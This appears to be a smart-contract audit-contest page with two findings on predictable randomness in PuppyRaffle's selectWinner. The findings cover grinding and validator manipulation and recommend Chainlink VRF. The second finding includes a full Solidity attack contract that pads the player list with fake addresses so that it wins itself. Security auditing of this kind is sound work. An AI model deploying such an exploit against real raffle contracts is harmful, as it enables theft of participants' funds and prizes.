The selectWinner function (line 125~154) generates randomness using on-chain predictable variables:
These values are not cryptographically secure:
block.timestamp can be manipulated by validators within ~12-15 seconds
block.difficulty (now prevrandao) is influenced by block proposers
msg.sender is attacker-controlled
This creates a deterministic pseudo-random number that sophisticated actors can predict or influence.
Midium. The randomness source is completely predictable and potentially manipulable:
Grinding Attacks: Attackers can simulate thousands of transactions off-chain to predict exactly when they will win, only calling selectWinner at favorable timestamps
Validator Manipulation: Block proposers can influence block.timestamp (within ~12-15 second variance) and prevrandao to ensure favorable outcomes for themselves or accomplices
Mempool Monitoring: Sophisticated actors can front-run selectWinner transactions if they can predict the winner based on pending block conditions
Impact:
Financial Loss: Attackers can guarantee they win valuable NFT prizes and accumulated ETH entrance fees
Protocol Integrity: Complete erosion of trust in the raffle fairness, rendering the protocol unusable for legitimate participants
Game Theory Failure: Rational actors will only participate if they can exploit the randomness, leading to adversarial-only participation
Description of PoC: The test demonstrates two critical vulnerabilities:
Determinism: Given identical inputs (msg.sender, block.timestamp, block.difficulty), the winner selection is identical across different raffle instances
Grinding Attack: An attacker can iterate through future timestamps to find a value that makes their chosen index the winner, then ensure selectWinner is called at that exact time (or manipulate block timestamp if they are a validator)
Replace the insecure on-chain randomness generation with Chainlink VRF v2.5 (Verifiable Random Function), which provides cryptographically secure, provably fair randomness via oracle network:
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.